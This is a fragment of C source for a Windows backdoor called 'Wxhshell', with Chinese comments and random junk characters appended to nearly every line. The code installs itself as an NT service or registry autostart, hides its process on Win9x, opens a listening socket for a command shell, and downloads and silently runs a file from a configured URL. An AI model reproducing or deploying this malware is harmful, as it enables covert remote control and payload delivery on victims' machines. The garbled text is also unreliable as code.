DWORD BasePriority; H57jBD
ULONG UniqueProcessId; l6r%nHP@
ULONG InheritedFromUniqueProcessId; _:oMyK'
} PROCESS_BASIC_INFORMATION; cL-6M^!a
.N?|t$J
PROCNTQSIP NtQueryInformationProcess; E&}H\zt#
$Ui]hA-:?y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {jq^hM!TEy
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^!zJf7(+<>
R4hav
HANDLE hProcess; 7Y| Wy
Oq
PROCESS_BASIC_INFORMATION pbi; #g5't4zqx
"j*fVn
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0Og/47dO.2
if(NULL == hInst ) return 0; o{s4.LKK
Z&2
&wD
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PQr#G JG7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #JX|S'\x
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;,[EJR^CI
%D%e:se
if (!NtQueryInformationProcess) return 0; ua6*zop
PW(_yB;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /v<e$0~s<
if(!hProcess) return 0; ~:'gvR;x
?h>(&HjWV
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gl3 `e&7
A5(kOtgiT
CloseHandle(hProcess); SLbavP#G
|V*e2w
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )wyu+_:
if(hProcess==NULL) return 0; N^@%qUvT]
ur,V>J<5A
HMODULE hMod; gK] T}
char procName[255]; 1tuator
unsigned long cbNeeded;
4AG&z,[
[qc6Q:
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \!?
PhNv
dUBVp 9PB
CloseHandle(hProcess); :$) aMEq
o
=jX
if(strstr(procName,"services")) return 1; // 以服务启动 2=/-d$
zmrX%!CW
return 0; // 注册表启动 M[&.kH
} HzFt
m-&a~l
// 主模块 $)WH^Ir~
int StartWxhshell(LPSTR lpCmdLine) 'PxL^
{ }K qw\]`
SOCKET wsl; A=@V LU4%
BOOL val=TRUE; }VJ hw*s
int port=0; Ezo" f
struct sockaddr_in door; 3 8ls 4v3
"X!_37kQ
if(wscfg.ws_autoins) Install(); -&HoR!af
"1pZzad
port=atoi(lpCmdLine); ZFd{q)qe
`rRg(fCN!M
if(port<=0) port=wscfg.ws_port; _YD<Q@
+eH=;8
WSADATA data; [jmAMF<F
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +L<w."WG
9h)P8B.>M
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; PT=2LZ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qcy+ {j]
door.sin_family = AF_INET; ;_;H(%uY
door.sin_addr.s_addr = inet_addr("127.0.0.1"); jw6 ng>9
door.sin_port = htons(port); j2C^1:s@m
^{:[^$f:l
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s^x ,S
closesocket(wsl); <jg
wdbT"6
return 1; jAK`96+D~b
} \)s 3]/"7
RM/ s:
if(listen(wsl,2) == INVALID_SOCKET) { 9EY_R&Yq%
closesocket(wsl); >LRaIU>
return 1; vzgudxG'z
} pQ6t]DJ4
Wxhshell(wsl); U7Sl@-#|
WSACleanup(); %%H. &*i,
itvy[b-*
return 0; kk>0XPk
M KE[Yb?
} <=LsloI
sC'A_ -'
// 以NT服务方式启动 FnU{C= P
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I "+|cFq.
{ 62KW
HB9S
DWORD status = 0; >G -?e!
DWORD specificError = 0xfffffff; MYW 4@#
OYCFx2{
serviceStatus.dwServiceType = SERVICE_WIN32; ,4?|}xg
serviceStatus.dwCurrentState = SERVICE_START_PENDING; hJL0M!
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <\#
serviceStatus.dwWin32ExitCode = 0; :8/M6-EK
serviceStatus.dwServiceSpecificExitCode = 0; 6!Ap;O^*
serviceStatus.dwCheckPoint = 0; d+wNGN
serviceStatus.dwWaitHint = 0; '3kL=(
aABE= 9Y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); we@En
.>f
if (hServiceStatusHandle==0) return; ?&t|?@
M<me\s)
status = GetLastError(); Y3F.hk}O
if (status!=NO_ERROR) 41_sSqq;^
{ Tx&qp#FS
serviceStatus.dwCurrentState = SERVICE_STOPPED; K,T]Fuy
serviceStatus.dwCheckPoint = 0; X+G*Q}5
serviceStatus.dwWaitHint = 0; Vu8-Cy>Q?
serviceStatus.dwWin32ExitCode = status; >ww1:Sn
serviceStatus.dwServiceSpecificExitCode = specificError; R^w >aZoJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3t}o0Ai9
return; >w2WyYJYH
} p9bxhnn|
#esu@kMU`
serviceStatus.dwCurrentState = SERVICE_RUNNING; rzY@H }u
serviceStatus.dwCheckPoint = 0; jMN@x]6w
serviceStatus.dwWaitHint = 0; 7QRvl6cv
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4Fht(B|
} !wufoK
/[|md0,
// 处理NT服务事件,比如:启动、停止 ;$&5I9N
VOID WINAPI NTServiceHandler(DWORD fdwControl) t7`Pw33#kY
{ a!]QD`
switch(fdwControl) '/)_{Ly
{ T<~[vjA
case SERVICE_CONTROL_STOP: iZqFVr&JF
serviceStatus.dwWin32ExitCode = 0; LFry?HO,D
serviceStatus.dwCurrentState = SERVICE_STOPPED; Rhxm)5 +
serviceStatus.dwCheckPoint = 0; loVvr"&g
serviceStatus.dwWaitHint = 0; XzwQ,+IAr
{ BN>$LL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); AG!a=ufc0
} @9Pn(fd]
return; aLo>Yi
case SERVICE_CONTROL_PAUSE: YedipYG9;
serviceStatus.dwCurrentState = SERVICE_PAUSED; q|_ 5@Ly
break; 1OGv+b)
case SERVICE_CONTROL_CONTINUE: g KY
,G
serviceStatus.dwCurrentState = SERVICE_RUNNING; wEn&zZjx
break; 4BL,/(W]
x
case SERVICE_CONTROL_INTERROGATE: wOl-iN=
break; SYhspB
}; +as\>"Cj+2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fv7g93
} m l
\yc'
Hu!>RSg,,2
// 标准应用程序主函数 7)X&fV6<8
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q`fA)6U
{ /hy!8c7
dD2e"OIX
// 获取操作系统版本 dK`O,[}
OsIsNt=GetOsVer(); ?26[%%
GetModuleFileName(NULL,ExeFile,MAX_PATH); K>~cY%3^i
,#FH8%Yf
// 从命令行安装 tQ<2K*3]
if(strpbrk(lpCmdLine,"iI")) Install(); NjMLq|X
H[yLlv
// 下载执行文件 Sgk{NM7|k
if(wscfg.ws_downexe) { 8*){*'bf
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CUM~*
WinExec(wscfg.ws_filenam,SW_HIDE); DY27' `n6
} uy%PTi+A
-5B([jHgR
if(!OsIsNt) { 43]&SXprH
// 如果时win9x,隐藏进程并且设置为注册表启动 QU;C*}0Zl
HideProc(); K&oO+ G^f
StartWxhshell(lpCmdLine); {.)~4.LhQM
} T1TZ+\
else ~}l,H:jk@
if(StartFromService()) G#M]\)f%
// 以服务方式启动 VL1z$<vVXt
StartServiceCtrlDispatcher(DispatchTable); LOo#
else WY UU-
// 普通方式启动 s8O+&^(U
StartWxhshell(lpCmdLine); nUu|}11 (
, |B\[0p
return 0; &BR?;LD
}